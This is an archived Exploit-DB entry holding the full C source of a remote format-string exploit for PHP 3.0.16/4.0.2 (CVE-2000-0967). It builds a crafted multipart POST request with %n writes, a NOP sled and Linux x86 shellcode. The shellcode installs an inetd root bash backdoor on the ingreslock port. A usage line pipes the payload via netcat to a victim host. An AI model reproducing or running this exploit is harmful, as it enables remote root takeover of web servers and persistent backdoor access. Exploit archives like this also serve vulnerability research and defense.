标题: PHP 3.0.16/4.0.2 - Remote Format Overflow EDB-ID: 220 CVE: 2000-0967 类型: REMOTE 平台: LINUX 发布日期: 2000-12-06 漏洞利用脚本: /* 
 * PHP 3.0.16/4.0.2 remote format overflow exploit.
 * Copyright (c) 2000 
 * Field Marshal Count August Anton Wilhelm Neithardt von Gneisenau
 * gneisenau@berlin.com
 * my regards to sheib and darkx
 * All rights reserved
 * Pascal Boucheraine's paper was enlightening
 * THERE IS NO IMPLIED OR EXPRESS WARRANTY FOR THIS CODE. 
 * YOU ARE RESPONSIBLE FOR YOUR OWN ACTIONS AND I CANNOT BE HELD RESPONSIBLE
 * FOR THE CONSEQUENCES
 * Usage:
 * phpxpl -sx -uwww.victim.com/some.php3 | nc www.victim.com 80
 *
 * Slackware 7.0: eip address/shellcode address
 *                 0xbfff9b90/0xbfff958c
 *
 */
/*
 * We just printf the shellcode and stuff and nc it to the target
 */

#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// this exploit does not like 0x0a = '\n' in the shellcode. also the NULL at
// the end of the shellcode will be removed as the shellcode is probably
// strcatted into the buffer. so do it again in the shellcode. 
/*
 * This shellcode is for Linux/x86. 
 * This shellcode spawns a shell and runs the command
 * echo 'ingreslock stream tcp nowait root /bin/bash bash -i'>/tmp/.inetd.conf; /usr/sbin/inetd /tmp/.inetd.conf
 */
char shellcode[] = {
  0xeb,0x41,      
  0x5e,          
  0x31,0xc0,      
  0x31,0xdb,      
  0xb0,0xa0,      
  0x89,0x34,0x06,    
  0x8d,0x4e,0x07,    
  0x88,0x19,      
  0x41,        
  0x41,        
  0xb0,0xa4,      
  0x89,0x0c,0x06,    
  0x8d,0x4e,0x0b,    
  0x88,0x19,     
  0x41,        
  0xb0,0xa8,      
  0x89,0x0c,0x06,   
  0x8d,0x4e,0x7f,    
  0x88,0x19,      
  0x31,0xd2,      
  0xb0,0xac,      
  0x89,0x14,0x06,    
  0x89,0xf3,      
  0x89,0xf1,      
  0xb0,0xa0,     
  0x01,0xc1,      
  0xb0,0x0b,      
  0xcd,0x80,      
  0x31,0xc0,     
  0xb0,0x01,     
  0x31,0xdb,      
  0xcd,0x80,      
  0xe8,0xba,0xff,0xff,0xff,  
  0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0xff,0xff, /* the string "/bin/sh" */ 
  0x2d,0x63,0xff,      /* the string "-c" */
  0x2f,0x62,0x69,0x6e,0x2f,0x65,0x63,0x68,0x6f,0x20,0x27,0x69,
  0x6e,0x67,0x72,0x65,0x73,0x6c,0x6f,0x63,0x6b,0x20,0x73,0x74,
  0x72,0x65,0x61,0x6d,0x20,0x74,0x63,0x70,0x20,0x6e,0x6f,0x77,
  0x61,0x69,0x74,0x20,0x72,0x6f,0x6f,0x74,0x20,0x2f,0x62,0x69,
  0x6e,0x2f,0x62,0x61,0x73,0x68,0x20,0x62,0x61,0x73,0x68,0x20,
  0x20,0x2d,0x69,0x27,0x3e,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,
  0x6e,0x65,0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x3b,0x20,0x2f,
  0x75,0x73,0x72,0x2f,0x73,0x62,0x69,0x6e,0x2f,0x69,0x6e,0x65,
  0x74,0x64,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,0x6e,0x65,
  0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x00,
};

#define NOP 0x90


/*
 * the PHP3 error buffer will already contain PHP 3 Warning: The Content-Type
 * string was "multipart/form-data. This is 66 bytes long. we send 2 spaces
 * for padding the addresses we embed in our attack buffer on word boundary
 */
#define PHP3_WARNING 68
#define BUF_LEN 1024

struct system_type {
 char *name;
 unsigned int nop;
 char *shellcode;
 int shellcode_len;
 int offset;   /* the number of pops we need to get to our own data*/
 int already_written; /* number of bytes written by printf by the time we reach the our embedded data */
 unsigned int eip_address; /* address where shellcode_address must be put */
 unsigned int shellcode_address; /* address of shellcode in memory */
};

struct system_type systems[] = {
  {
   "Slackware Linux 7.0 - i386/Apache 1.3.12/PHP 3.0.16 (static module)",
   0x90,
   shellcode,
   270, /* not exact but we got lots of space ;) */
   27,
   0x152,
   0xbfff9c30,
   0xbfff962c,
  },
  // somebody find these and fill it in please. should be 
  // straightforward.
  {
   "Red Hat 6.0 - i386/Apache 1.3.13/PHP 3.0.16 (static module)",
   (unsigned int)NULL,
   NULL,
   (int)NULL,
   (int)NULL,
   (int)NULL,
   (unsigned int)NULL,
   (unsigned int)NULL,
  },
  {
   NULL,
   (unsigned int)NULL,
   NULL,
   (int)NULL,
   (int)NULL,
   (int)NULL,
   (unsigned int)NULL,
   (unsigned int)NULL,
  },
};

void  usage (void);
void  parse_url (char *, char *);
void  prepare_attack_buffer (char *, struct system_type *, char *);
int calculate_precision (unsigned int, int);

int
main (int argc, char *argv[])
{
 char  attack_buffer[2000]; // we construct the shellcode and stuff here
          // the target is 1024 bytes long
 struct system_type *sysptr;
 char  *url;     // i hope these things dont get bigger than this
 char  target[2048];   // target will contain only the FQDN
 unsigned int eip_address = 0, shellcode_address = 0;
 int ctr = 0;
 int nop_count;
 char  *walk;
 int arg;        

 // at least expect a system type and url from the command line
 if (argc < 3)
  usage ();

 // parse arguments
 while ((arg = getopt (argc, argv, "s:u:e:h:")) != -1){
  switch (arg){
   case 'h':
      sscanf (optarg, "%x", &shellcode_address);
      break;
   case 'e':
      sscanf (optarg, "%x", &eip_address);
      break;
   case 's': 
      sysptr = &systems[atoi (optarg)];
      break;
   case 'u':
      url = optarg;
      parse_url (url, target);
      break;
   case '?':
   default : 
      usage ();
  }
 }

 if (eip_address)
  sysptr->eip_address = eip_address;
 if (shellcode_address)
  sysptr->shellcode_address = shellcode_address;
 prepare_attack_buffer (attack_buffer, sysptr, url);

 // as of now write it out to stdout. later write it to a socket
 write (STDOUT_FILENO, attack_buffer, sizeof (attack_buffer));
}

void
prepare_attack_buffer (char *attack_buffer, struct system_type *system, 
        char *url)
{
 int dest_buffer_written;  /* we keep track of how much bytes will be written in the destination buffer */
 int  ctr;
 char *address;
 char buf[25];      // temp buffer for %xd%n%xd%n%xd%n%xd%n
           // where x is precision
 int  p1,p2,p3,p4;
 int nop_count;

 bzero (attack_buffer, 2000);
 sprintf (attack_buffer, "POST http://%s HTTP/1.0\nConnection: close\nUser-Agent: tirpitz\nContent-Type: multipart/form-data   ", url);
 // mark strlen here. whatever we write after here appears in the buffer
 dest_buffer_written = strlen (attack_buffer);

 strcat (attack_buffer, "\x11\x11\x11\x11");
 address = (char *)&system->eip_address;
 strncat (attack_buffer, address, 4);
 strcat (attack_buffer, "\x11\x11\x11\x11");
 system->eip_address++;
 address = (char *)&system->eip_address;
 strncat (attack_buffer, address, 4);
 strcat (attack_buffer, "\x11\x11\x11\x11");
 system->eip_address++;
 address = (char *)&system->eip_address;
 strncat (attack_buffer, address, 4);
 strcat (attack_buffer, "\x11\x11\x11\x11");
 system->eip_address++;
 address = (char *)&system->eip_address;
 strncat (attack_buffer, address, 4);

 /*
  * we need to add %x corresponding to the number of pops we need to reach
  * our embedded addresses we defined above
  */
 for (; system->offset; system->offset--)
  strcat (attack_buffer, "%x ");

 p1 = calculate_precision ((system->shellcode_address & 0x000000ff), system->already_written);
 p2 = calculate_precision ((system->shellcode_address & 0x0000ff00) >> 8, system->already_written);
 p3 = calculate_precision ((system->shellcode_address & 0x00ff0000) >> 16, system->already_written);
 p4 = calculate_precision ((system->shellcode_address & 0xff000000) >> 24, system->already_written);
 sprintf (buf, "%%%dd%%n%%%dd%%n%%%dd%%n%%%dd%%n", p1, p2, p3, p4);
 strcat (attack_buffer, buf);

 ctr = strlen (attack_buffer); 
 dest_buffer_written = ctr - dest_buffer_written;
 dest_buffer_written += PHP3_WARNING; // dest_buffer_written now contains the number of bytes the PHP_WARNING and then the 8 4 byte values and then the %x to pop off the stack
 attack_buffer += ctr;
 nop_count = BUF_LEN - dest_buffer_written - system->shellcode_len;
 memset (attack_buffer, NOP, nop_count);
 /*
  * Add our shellcode at last
  */
 attack_buffer += nop_count;
 strcat (attack_buffer, shellcode);
 strcat (attack_buffer, "\n");
 strcat (attack_buffer, "Content-Length: 1337\n\n");
}

void
usage (void)
{
 int  ctr;

 fprintf (stderr, "                                 Apache/PHP xploit\n");
 fprintf (stderr, "        Field Marshal Count August Anton Wilhelm Neithardt von Gneisenau\n");
 fprintf (stderr, "                                 for the r00tcrew\n");
 fprintf (stderr, "                                All rights reserved\n");
 fprintf (stderr, "\nUsage:\n");
 fprintf (stderr, "phpxpl -u url -s systype [ -e eip address ] [ -h shellcode address ]\n\n"); 
 fprintf (stderr, "url: the complete url including FQDN and script on the server\n");
 fprintf (stderr, "      www.victim.com/info.php3\n");
 fprintf (stderr, "available systypes:\n");

 for (ctr = 0; systems[ctr].name; ctr++)
  fprintf (stderr, "%d. %s\n", ctr, systems[ctr].name);
 fprintf (stderr, "eip address: the address which the xploit overwrites with buffer address (specify thus 0xbfff9c30) \n");
 fprintf (stderr, "shellcode address: the address which points to the NOPs (specify thus 0xbfff962c)\n");
 fprintf (stderr, "\n");
 exit (1);
}

void
parse_url (char *url, char *target)
{
 char *ptr;

 strcpy (target, url);
 if (!(ptr = index (target, '/'))){
  fprintf (stderr, "invalid url. specify the script name on the target server too\n");
  exit (1);
 }
 *ptr = '\0';
}

/*
 * addr_byte contains the byte we need to write out. for example: 2c in
 * 0xbfff962c, then 96, ff and bf. 
 */
int
calculate_precision (unsigned int addr_byte, int already_written_init)
{
 static int already_written = 0;
 int tmp;

 if (!already_written)
  already_written = already_written_init;

 while (addr_byte < already_written)
  addr_byte += 0x100;

 tmp = addr_byte - already_written;
 already_written = addr_byte;
 return tmp;
}


// milw0rm.com [2000-12-06] URL: https://www.exploit-db.com/exploits/220